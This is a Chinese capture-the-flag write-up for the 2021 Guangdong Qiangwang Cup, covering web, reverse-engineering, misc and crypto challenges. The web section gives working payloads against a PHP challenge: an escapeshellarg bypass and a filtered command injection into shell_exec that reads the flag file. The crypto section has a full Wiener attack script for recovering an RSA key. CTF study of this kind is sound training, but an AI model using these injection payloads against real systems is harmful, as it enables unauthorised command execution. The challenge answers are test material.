WEB
love_Pokemon
题目直接给了源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\|p|h|u|v|\+|\^|`|~|||"|<|>|=|{|}|!|&|*|?|(|)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
?>
恶心人的题。首先需要绕过这里去查看一下 hint:
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
需要让 $level
匹配不到 'lv100' 但是经过 escapeshellarg 函数处理之后匹配到 'lv100'。在网上找到一个 escapeshellarg 函数 bug:
-
https://bugs.php.net/bug.php?id=80731
个 escapeshellarg 函数在linux上会某某的删除 "xFF",所以这样我们便可以绕过了:
POST: myfavorite=bulbasaur!&levelup=lv1%ff00
得到一个一点用也没有的hint。。。。。。
然后在绕过以下这部分就可以执行命令了:
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\|p|h|u|v|\+|\^|`|~|||"|<|>|=|{|}|!|&|*|?|(|)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
真的是过滤的死死地,啥玩意都过滤了,字母都给过滤了。能读文件的命令只剩下 od 了。od可以以八进制格式查看文件。并且,题目中过滤了*
和?
,所以常见的通配符匹配flag的方式不能用了。但是源码中没有过滤 [
和 ]
,linux依然支持使用[...]
的方法来匹配,比如[@-Z]
表示匹配 @到Z之前的字符,那我们便可以使用这个来绕过对 flag 的过滤了。最后的payload如下:
POST: myfavorite=mewtwo&dream=od%09/F[C-Z][@-Z]G
# 使用%09来绕过空格
RE
题名忘了叫啥
签到题
前半段11*5的地图,wasd上下左右
后半段 SMC,base64换表
MISC
泄露的秘密
手撕,根据102和111,第一位f,第二位l
.....
最后}
flag{Log_analysis_SQL}
Zip_Revenge
爆破,得到521314
很明显发现一个时间差距很大的,继续爆破
CRYPTO
RSA and BASE?
def rational_to_contfrac (x, y):
'''
Converts a rational x/y fraction into
a list of partial quotients [a0, ..., an]
'''
a = x//y
if a * y == x:
return [a]
else:
pquotients = rational_to_contfrac(y, x - a * y)
pquotients.insert(0, a)
return pquotients
def convergents_from_contfrac(frac):
'''
computes the list of convergents
using the list of partial quotients
'''
convs = [];
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0:i]))
return convs
def contfrac_to_rational (frac):
'''Converts a finite continued fraction [a0, ..., an]
to an x/y rational.
'''
if len(frac) == 0:
return (0,1)
elif len(frac) == 1:
return (frac[0], 1)
else:
remainder = frac[1:len(frac)]
(num, denom) = contfrac_to_rational(remainder)
# fraction is now frac[0] + 1/(num/denom), which is
# frac[0] + denom/num.
return (frac[0] * num + denom, num)
def egcd(a,b):
'''
Extended Euclidean Algorithm
returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
'''
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u, v, a
def gcd(a,b):
'''
2.8 times faster than egcd(a,b)[2]
'''
a,b=(b,a) if a<b else (a,b)
while b:
a,b=b,a%b
return a
def modInverse(e,n):
'''
d such that de = 1 (mod n)
e must be coprime to n
this is assumed to be true
'''
return egcd(e,n)[0]%n
def totient(p,q):
'''
Calculates the totient of pq
'''
return (p-1)*(q-1)
def bitlength(x):
'''
Calculates the bitlength of x
'''
assert x >= 0
n = 0
while x > 0:
n = n+1
x = x>>1
return n
def isqrt(n):
'''
Calculates the integer square root
for arbitrary large nonnegative integers
'''
if n < 0:
raise ValueError('square root not defined for negative numbers')
if n == 0:
return 0
a, b = divmod(bitlength(n), 2)
x = 2**(a+b)
while True:
y = (x + n//x)//2
if y >= x:
return x
x = y
def is_perfect_square(n):
'''
If n is a perfect square it returns sqrt(n),
otherwise returns -1
'''
h = n & 0xF; #last hexadecimal "digit"
if h > 9:
return -1 # return immediately in 6 cases out of 16.
# Take advantage of Boolean short-circuit evaluation
if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
# take square root if you must
t = isqrt(n)
if t*t == n:
return t
else:
return -1
return -1
def hack_RSA(e,n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)
for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("nHacked!")
return d
def main():
n=56661243519426563299920058134092862370737397949947210394843021856477420959615132553610830104961645574615005956183703191006421508461009698780382360943562001485153455401650697532951591191737164547520951628336941289873198979641173541232117518791706826699650307105202062429672725308809988269372149027026719779368169
e=36269788044703267426177340992826172140174404390577736281478891381612294207666891529019937732720246602062358244751177942289155662197410594434293004130952671354973700999803850153697545606312859272554835232089533366743867361181786472126124169787094837977468259794816050397735724313560434944684790818009385459207329
d=hack_RSA(e,n)
print ("d=")
print (d)
if __name__ == '__main__':
main()
d=162629853458911971486680889045849898679792335644886630492453366486865526390781
import binascii
import gmpy2
n=56661243519426563299920058134092862370737397949947210394843021856477420959615132553610830104961645574615005956183703191006421508461009698780382360943562001485153455401650697532951591191737164547520951628336941289873198979641173541232117518791706826699650307105202062429672725308809988269372149027026719779368169
c=137954301101369152742229874240507191901061563449586247819350394387527789763579249250710679911626270895090455502283455665178389917777053863730286065809459077858674885530015624798882224173066151402222862023045940035652321621761390317038440821354117827990307003831352154618952447402389360183594248381165728338233
d=162629853458911971486680889045849898679792335644886630492453366486865526390781
m=pow(c,d,n)
print(hex(m))
print(binascii.unhexlify(hex(m)[2:].strip("L")))
b'flag{TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG====}'
# STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'
# for i in range(len(STANDARD_ALPHABET)):
# if STANDARD_ALPHABET[i] not in key:
# print STANDARD_ALPHABET[i]
dic = "TYZ2"
import string
import base64
import itertools
def b32decode(input,CUSTOM_ALPHABET):
STANDARD_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET,CUSTOM_ALPHABET)
DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET,STANDARD_ALPHABET)
return base64.b32decode(input.translate(DECODE_TRANS))
for a in dic:
dic2 = dic.strip(a)
for b in dic2:
dic3 = dic2.strip(b)
for c in dic:
dic4 = dic3.strip(a)
for d in dic2:
dic5 = dic4.strip(b)
tmp = "GHI45FQRSCX"+a+b+c+d+"UVWJK67DELMNOPAB3"
flag = b32decode("TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG====",tmp)
if flag.startswith("rsa_and_base_al"):
print flag
# flag{rsa_and_base_all_right}
原文始发于微信公众号(山警网络空间安全实验室):2021 广东省强网杯部分 WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论